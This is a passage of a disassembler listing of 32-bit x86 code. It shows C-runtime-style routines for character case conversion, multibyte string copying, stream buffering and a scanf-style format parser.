cmp eax, 61h
jb short loc_42025E
cmp eax, 7Ah
ja short loc_42025E
or byte_4DCEA1[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_42023E
; ---------------------------------------------------------------------------
loc_42025E: ; CODE XREF: sub_4200E8+161j
; sub_4200E8+166j
and byte_4DCDA0[eax], 0
loc_420265: ; CODE XREF: sub_4200E8+15Cj
inc eax
cmp eax, esi
jb short loc_420228
loc_42026A: ; CODE XREF: sub_4200E8+137j
pop esi
leave
retn
sub_4200E8 endp
; =============== S U B R O U T I N E =======================================
sub_42026D proc near ; CODE XREF: ___:00422E7Bp
; ___:00422ED7p ...
cmp dword_4DCFD4, 0
jnz short locret_420288
push 0FFFFFFFDh
call sub_41FEA9
pop ecx
mov dword_4DCFD4, 1
locret_420288: ; CODE XREF: sub_42026D+7j
retn
sub_42026D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp
; sub_41B9D1+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_4DCD9C, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_4202AD
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_41B5F0
add esp, 0Ch
jmp short loc_420310
; ---------------------------------------------------------------------------
loc_4202AD: ; CODE XREF: sub_420289+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_4202F2
mov ecx, [ebp+arg_4]
loc_4202B8: ; CODE XREF: sub_420289+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_4DCEA1[esi], 4
mov [edi], al
jz short loc_4202DC
inc edi
inc ecx
test edx, edx
jz short loc_4202E8
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_4202EE
jmp short loc_4202E2
; ---------------------------------------------------------------------------
loc_4202DC: ; CODE XREF: sub_420289+3Ej
inc edi
inc ecx
test al, al
jz short loc_4202F2
loc_4202E2: ; CODE XREF: sub_420289+51j
test edx, edx
jnz short loc_4202B8
jmp short loc_4202F2
; ---------------------------------------------------------------------------
loc_4202E8: ; CODE XREF: sub_420289+44j
and byte ptr [edi-1], 0
jmp short loc_4202F2
; ---------------------------------------------------------------------------
loc_4202EE: ; CODE XREF: sub_420289+4Fj
and byte ptr [edi-2], 0
loc_4202F2: ; CODE XREF: sub_420289+2Aj
; sub_420289+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_42030D
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_42030D: ; CODE XREF: sub_420289+6Fj
mov eax, [ebp+arg_0]
loc_420310: ; CODE XREF: sub_420289+22j
pop edi
pop ebp
retn
sub_420289 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DB9E4, 0
push ebx
jnz short loc_42033E
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_4203DC
cmp eax, 7Ah
jg loc_4203DC
sub eax, 20h
jmp loc_4203DC
; ---------------------------------------------------------------------------
loc_42033E: ; CODE XREF: sub_420313+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_420371
cmp dword_43CBB4, 1
jle short loc_42035E
push 2
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420369
; ---------------------------------------------------------------------------
loc_42035E: ; CODE XREF: sub_420313+3Dj
mov eax, off_43C9A8
mov al, [eax+ebx*2]
and eax, 2
loc_420369: ; CODE XREF: sub_420313+49j
test eax, eax
jnz short loc_420371
loc_42036D: ; CODE XREF: sub_420313+AFj
mov eax, ebx
jmp short loc_4203DC
; ---------------------------------------------------------------------------
loc_420371: ; CODE XREF: sub_420313+34j
; sub_420313+58j
mov edx, off_43C9A8
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_420394
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_42039D
; ---------------------------------------------------------------------------
loc_420394: ; CODE XREF: sub_420313+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_42039D: ; CODE XREF: sub_420313+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_4DB9E4
call sub_422ACA
add esp, 20h
test eax, eax
jz short loc_42036D
cmp eax, 1
jnz short loc_4203CF
movzx eax, [ebp+var_4]
jmp short loc_4203DC
; ---------------------------------------------------------------------------
loc_4203CF: ; CODE XREF: sub_420313+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_4203DC: ; CODE XREF: sub_420313+14j
; sub_420313+1Dj ...
pop ebx
leave
retn
sub_420313 endp
; =============== S U B R O U T I N E =======================================
sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp
; sub_41D3BE+16p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_4DB92C, ecx
mov eax, offset dword_43CCC0
loc_4203F0: ; CODE XREF: sub_4203DF+1Ej
cmp ecx, [eax]
jz short loc_420414
add eax, 8
inc edx
cmp eax, offset dword_43CE28
jl short loc_4203F0
cmp ecx, 13h
jb short loc_420421
cmp ecx, 24h
ja short loc_420421
mov dword_4DB928, 0Dh
retn
; ---------------------------------------------------------------------------
loc_420414: ; CODE XREF: sub_4203DF+13j
mov eax, dword_43CCC4[edx*8]
mov dword_4DB928, eax
retn
; ---------------------------------------------------------------------------
loc_420421: ; CODE XREF: sub_4203DF+23j
; sub_4203DF+28j
cmp ecx, 0BCh
jb short loc_42043B
cmp ecx, 0CAh
mov dword_4DB928, 8
jbe short locret_420445
loc_42043B: ; CODE XREF: sub_4203DF+48j
mov dword_4DB928, 16h
locret_420445: ; CODE XREF: sub_4203DF+5Aj
retn
sub_4203DF endp
; =============== S U B R O U T I N E =======================================
sub_420446 proc near ; CODE XREF: sub_41BE06+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_423E35
test eax, eax
pop ecx
jz short loc_4204CF
cmp esi, offset dword_43D0B8
jnz short loc_420464
xor eax, eax
jmp short loc_42046F
; ---------------------------------------------------------------------------
loc_420464: ; CODE XREF: sub_420446+18j
cmp esi, offset dword_43D0D8
jnz short loc_4204CF
push 1
pop eax
loc_42046F: ; CODE XREF: sub_420446+1Cj
inc dword_4DBB10
test word ptr [esi+0Ch], 10Ch
jnz short loc_4204CF
cmp dword_4DB9B4[eax*4], 0
push ebx
push edi
lea edi, ds:4DB9B4h[eax*4]
mov ebx, 1000h
jnz short loc_4204B5
push ebx
call sub_41B4D5
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_4204B5
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_4204C2
; ---------------------------------------------------------------------------
loc_4204B5: ; CODE XREF: sub_420446+4Dj
; sub_420446+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_4204C2: ; CODE XREF: sub_420446+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4204CF: ; CODE XREF: sub_420446+10j
; sub_420446+24j ...
xor eax, eax
pop esi
retn
sub_420446 endp
; =============== S U B R O U T I N E =======================================
sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_4204FD
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_42050E
push esi
call sub_41DB8B
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4204FD: ; CODE XREF: sub_4204D3+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_42050E
push eax
call sub_41DB8B
pop ecx
loc_42050E: ; CODE XREF: sub_4204D3+10j
; sub_4204D3+32j
pop esi
retn
sub_4204D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420510 proc near ; CODE XREF: sub_41C645+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_420F16
mov edi, [ebp+arg_0]
jmp short loc_42053F
; ---------------------------------------------------------------------------
loc_42053A: ; CODE XREF: sub_420510+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_42053F: ; CODE XREF: sub_420510+28j
cmp dword_43CBB4, 1
jle short loc_420557
movzx eax, al
push 8
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_420566
; ---------------------------------------------------------------------------
loc_420557: ; CODE XREF: sub_420510+36j
mov ecx, off_43C9A8
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_420566: ; CODE XREF: sub_420510+45j
cmp eax, ebx
jz short loc_4205A0
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_420F9D
pop ecx
pop ecx
push eax
call sub_420F86
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41D670
add esp, 0Ch
loc_42058E: ; CODE XREF: sub_420510+8Ej
test eax, eax
jz short loc_4205A0
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41D670
pop ecx
jmp short loc_42058E
; ---------------------------------------------------------------------------
loc_4205A0: ; CODE XREF: sub_420510+58j
; sub_420510+80j
cmp byte ptr [esi], 25h
jnz loc_420E82
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_4205D7: ; CODE XREF: sub_420510+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_43CBB4, 1
jle short loc_4205F4
movzx eax, bl
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_420603
; ---------------------------------------------------------------------------
loc_4205F4: ; CODE XREF: sub_420510+D3j
mov ecx, off_43C9A8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_420603: ; CODE XREF: sub_420510+E2j
test eax, eax
jz short loc_420619
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420619: ; CODE XREF: sub_420510+F5j
cmp ebx, 4Eh
jg short loc_42065C
jz short loc_42067E
cmp ebx, 2Ah
jz short loc_420657
cmp ebx, 46h
jz short loc_42067E
cmp ebx, 49h
jz short loc_420639
cmp ebx, 4Ch
jnz short loc_42066B
inc [ebp+var_D]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420639: ; CODE XREF: sub_420510+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_42066B
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_42066B
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420657: ; CODE XREF: sub_420510+113j
inc [ebp+var_E]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_42065C: ; CODE XREF: sub_420510+10Cj
cmp ebx, 68h
jz short loc_420678
cmp ebx, 6Ch
jz short loc_420670
cmp ebx, 77h
jz short loc_420673
loc_42066B: ; CODE XREF: sub_420510+122j
; sub_420510+12Dj ...
inc [ebp+var_F]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420670: ; CODE XREF: sub_420510+154j
inc [ebp+var_D]
loc_420673: ; CODE XREF: sub_420510+159j
inc [ebp+var_5]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420678: ; CODE XREF: sub_420510+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_42067E: ; CODE XREF: sub_420510+107j
; sub_420510+10Ej ...
cmp [ebp+var_F], 0
jz loc_4205D7
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_4206A3
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_4206A3: ; CODE XREF: sub_420510+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_4206C1
mov al, [esi]
cmp al, 53h
jz short loc_4206BD
cmp al, 43h
jz short loc_4206BD
or [ebp+var_5], 0FFh
jmp short loc_4206C1
; ---------------------------------------------------------------------------
loc_4206BD: ; CODE XREF: sub_420510+1A1j
; sub_420510+1A5j
mov [ebp+var_5], 1
loc_4206C1: ; CODE XREF: sub_420510+19Bj
; sub_420510+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_4206FA
cmp esi, 63h
jz short loc_4206EB
cmp esi, 7Bh
jz short loc_4206EB
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_420F9D
pop ecx
jmp short loc_4206F6
; ---------------------------------------------------------------------------
loc_4206EB: ; CODE XREF: sub_420510+1C5j
; sub_420510+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
loc_4206F6: ; CODE XREF: sub_420510+1D9j
pop ecx
mov [ebp+var_14], eax
loc_4206FA: ; CODE XREF: sub_420510+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_42070A
cmp [ebp+var_C], eax
jz loc_420EE6
loc_42070A: ; CODE XREF: sub_420510+1EFj
cmp esi, 6Fh
jg loc_420971
jz loc_420C23
cmp esi, 63h
jz loc_42094E
cmp esi, 64h
jz loc_420C23
jle loc_42099B
cmp esi, 67h
jle short loc_42076E
cmp esi, 69h
jz short loc_420756
cmp esi, 6Eh
jnz loc_42099B
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_420E51
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_420756: ; CODE XREF: sub_420510+229j
push 64h
pop esi
loc_420759: ; CODE XREF: sub_420510+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_4209E3
mov [ebp+var_17], 1
jmp loc_4209E8
; ---------------------------------------------------------------------------
loc_42076E: ; CODE XREF: sub_420510+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_42078A
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_42078F
; ---------------------------------------------------------------------------
loc_42078A: ; CODE XREF: sub_420510+26Aj
cmp ebx, 2Bh
jnz short loc_4207A6
loc_42078F: ; CODE XREF: sub_420510+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4207A9
; ---------------------------------------------------------------------------
loc_4207A6: ; CODE XREF: sub_420510+27Dj
mov edi, [ebp+arg_0]
loc_4207A9: ; CODE XREF: sub_420510+294j
cmp [ebp+var_20], 0
jz short loc_4207B8
cmp [ebp+var_C], 15Dh
jle short loc_4207BF
loc_4207B8: ; CODE XREF: sub_420510+29Dj
mov [ebp+var_C], 15Dh
loc_4207BF: ; CODE XREF: sub_420510+2A6j
; sub_420510+2F2j
cmp dword_43CBB4, 1
jle short loc_4207D4
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_4207DF
; ---------------------------------------------------------------------------
loc_4207D4: ; CODE XREF: sub_420510+2B6j
mov eax, off_43C9A8
mov al, [eax+ebx*2]
and eax, 4
loc_4207DF: ; CODE XREF: sub_420510+2C2j
test eax, eax
jz short loc_420804
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420804
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4207BF
; ---------------------------------------------------------------------------
loc_420804: ; CODE XREF: sub_420510+2D1j
; sub_420510+2DBj
cmp byte_43CBB8, bl
jnz short loc_420872
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420872
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
mov al, byte_43CBB8
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_42082D: ; CODE XREF: sub_420510+360j
cmp dword_43CBB4, 1
jle short loc_420842
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_42084D
; ---------------------------------------------------------------------------
loc_420842: ; CODE XREF: sub_420510+324j
mov eax, off_43C9A8
mov al, [eax+ebx*2]
and eax, 4
loc_42084D: ; CODE XREF: sub_420510+330j
test eax, eax
jz short loc_420872
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420872
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_42082D
; ---------------------------------------------------------------------------
loc_420872: ; CODE XREF: sub_420510+2FAj
; sub_420510+304j ...
cmp [ebp+var_1C], 0
jz loc_42090A
cmp ebx, 65h
jz short loc_42088A
cmp ebx, 45h
jnz loc_42090A
loc_42088A: ; CODE XREF: sub_420510+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42090A
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_4208B1
mov [esi], al
inc esi
jmp short loc_4208B6
; ---------------------------------------------------------------------------
loc_4208B1: ; CODE XREF: sub_420510+39Aj
cmp ebx, 2Bh
jnz short loc_4208D4
loc_4208B6: ; CODE XREF: sub_420510+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_4208C5
and [ebp+var_C], eax
jmp short loc_4208D4
; ---------------------------------------------------------------------------
loc_4208C5: ; CODE XREF: sub_420510+3AEj
; sub_420510+3F8j
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_4208D4: ; CODE XREF: sub_420510+3A4j
; sub_420510+3B3j
cmp dword_43CBB4, 1
jle short loc_4208E9
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_4208F4
; ---------------------------------------------------------------------------
loc_4208E9: ; CODE XREF: sub_420510+3CBj
mov eax, off_43C9A8
mov al, [eax+ebx*2]
and eax, 4
loc_4208F4: ; CODE XREF: sub_420510+3D7j
test eax, eax
jz short loc_42090A
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42090A
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_4208C5
; ---------------------------------------------------------------------------
loc_42090A: ; CODE XREF: sub_420510+366j
; sub_420510+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_420F86
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_420F16
cmp [ebp+var_E], 0
jnz loc_420E77
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_43CF58
add esp, 0Ch
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_42094E: ; CODE XREF: sub_420510+20Cj
cmp [ebp+var_20], eax
jnz short loc_42095D
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_42095D: ; CODE XREF: sub_420510+441j
cmp [ebp+var_5], 0
jle short loc_420967
mov [ebp+var_16], 1
loc_420967: ; CODE XREF: sub_420510+451j
mov edi, offset dword_43CE30
jmp loc_420A7C
; ---------------------------------------------------------------------------
loc_420971: ; CODE XREF: sub_420510+1FDj
mov eax, esi
sub eax, 70h
jz loc_420C1F
sub eax, 3
jz loc_420A6D
dec eax
dec eax
jz loc_420C23
sub eax, 3
jz loc_420759
sub eax, 3
jz short loc_4209BF
loc_42099B: ; CODE XREF: sub_420510+21Bj
; sub_420510+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_420EE6
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_420E77
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_4209BF: ; CODE XREF: sub_420510+489j
cmp [ebp+var_5], 0
jle short loc_4209C9
mov [ebp+var_16], 1
loc_4209C9: ; CODE XREF: sub_420510+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_420A80
mov eax, edi
lea edi, [eax+1]
jmp loc_420A7C
; ---------------------------------------------------------------------------
loc_4209E3: ; CODE XREF: sub_420510+24Fj
cmp ebx, 2Bh
jnz short loc_420A0A
loc_4209E8: ; CODE XREF: sub_420510+259j
dec [ebp+var_C]
jnz short loc_4209F9
cmp [ebp+var_20], 0
jz short loc_4209F9
mov [ebp+var_F], 1
jmp short loc_420A0A
; ---------------------------------------------------------------------------
loc_4209F9: ; CODE XREF: sub_420510+4DBj
; sub_420510+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_420A0A: ; CODE XREF: sub_420510+4D6j
; sub_420510+4E7j
cmp ebx, 30h
jnz loc_420C58
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_420A58
cmp bl, 58h
jz short loc_420A58
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_420A42
push 6Fh
loc_420A3C: ; CODE XREF: sub_420510+55Bj
pop esi
jmp loc_420C58
; ---------------------------------------------------------------------------
loc_420A42: ; CODE XREF: sub_420510+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420F86
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_420C55
; ---------------------------------------------------------------------------
loc_420A58: ; CODE XREF: sub_420510+517j
; sub_420510+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_420A3C
; ---------------------------------------------------------------------------
loc_420A6D: ; CODE XREF: sub_420510+46Fj
cmp [ebp+var_5], 0
jle short loc_420A77
mov [ebp+var_16], 1
loc_420A77: ; CODE XREF: sub_420510+561j
mov edi, offset dword_43CE28
loc_420A7C: ; CODE XREF: sub_420510+45Cj
; sub_420510+4CEj
or [ebp+var_18], 0FFh
loc_420A80: ; CODE XREF: sub_420510+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_41B590
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_420AA4
cmp byte ptr [edi], 5Dh
jnz short loc_420AA4
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_420AA7
; ---------------------------------------------------------------------------
loc_420AA4: ; CODE XREF: sub_420510+584j
; sub_420510+589j
mov dl, [ebp+var_35]
loc_420AA7: ; CODE XREF: sub_420510+592j
; sub_420510+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_420B0C
inc edi
cmp al, 2Dh
jnz short loc_420AF3
test dl, dl
jz short loc_420AF3
mov cl, [edi]
cmp cl, 5Dh
jz short loc_420AF3
inc edi
cmp dl, cl
jnb short loc_420AC6
mov al, cl
jmp short loc_420ACA
; ---------------------------------------------------------------------------
loc_420AC6: ; CODE XREF: sub_420510+5B0j
mov al, dl
mov dl, cl
loc_420ACA: ; CODE XREF: sub_420510+5B4j
cmp dl, al
ja short loc_420AEF
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_420AD7: ; CODE XREF: sub_420510+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_420AD7
loc_420AEF: ; CODE XREF: sub_420510+5BCj
xor dl, dl
jmp short loc_420AA7
; ---------------------------------------------------------------------------
loc_420AF3: ; CODE XREF: sub_420510+5A0j
; sub_420510+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_420AA7
; ---------------------------------------------------------------------------
loc_420B0C: ; CODE XREF: sub_420510+59Bj
cmp byte ptr [edi], 0
jz loc_420F16
cmp [ebp+var_3C], 7Bh
jnz short loc_420B1E
mov [ebp+arg_4], edi
loc_420B1E: ; CODE XREF: sub_420510+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_420F86
pop ecx
pop ecx
loc_420B35: ; CODE XREF: sub_420510+6BCj
; sub_420510+6C4j
cmp [ebp+var_20], 0
jz short loc_420B49
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_420BE5
loc_420B49: ; CODE XREF: sub_420510+629j
inc [ebp+var_4]
push edi
call sub_420F6C
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_420BD9
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_420BD9
cmp [ebp+var_E], 0
jnz short loc_420BD1
cmp [ebp+var_16], 0
jz short loc_420BC6
mov ecx, off_43C9A8
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_420BA5
inc [ebp+var_4]
push edi
call sub_420F6C
pop ecx
mov [ebp+var_37], al
loc_420BA5: ; CODE XREF: sub_420510+686j
push dword_43CBB4
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_423EC3
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_420BC9
; ---------------------------------------------------------------------------
loc_420BC6: ; CODE XREF: sub_420510+673j
mov [esi], al
inc esi
loc_420BC9: ; CODE XREF: sub_420510+6B4j
mov [ebp+var_2C], esi
jmp loc_420B35
; ---------------------------------------------------------------------------
loc_420BD1: ; CODE XREF: sub_420510+66Dj
inc [ebp+var_30]
jmp loc_420B35
; ---------------------------------------------------------------------------
loc_420BD9: ; CODE XREF: sub_420510+649j
; sub_420510+667j
dec [ebp+var_4]
push edi
push eax
call sub_420F86
pop ecx
pop ecx
loc_420BE5: ; CODE XREF: sub_420510+633j
cmp [ebp+var_30], esi
jz loc_420F16
cmp [ebp+var_E], 0
jnz loc_420E77
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_420E77
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_420C17
and word ptr [eax], 0
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_420C17: ; CODE XREF: sub_420510+6FCj
and byte ptr [eax], 0
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_420C1F: ; CODE XREF: sub_420510+466j
mov [ebp+var_D], 1
loc_420C23: ; CODE XREF: sub_420510+203j
; sub_420510+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_420C31
mov [ebp+var_17], 1
jmp short loc_420C36
; ---------------------------------------------------------------------------
loc_420C31: ; CODE XREF: sub_420510+719j
cmp ebx, 2Bh
jnz short loc_420C58
loc_420C36: ; CODE XREF: sub_420510+71Fj
dec [ebp+var_C]
jnz short loc_420C47
cmp [ebp+var_20], 0
jz short loc_420C47
mov [ebp+var_F], 1
jmp short loc_420C58
; ---------------------------------------------------------------------------
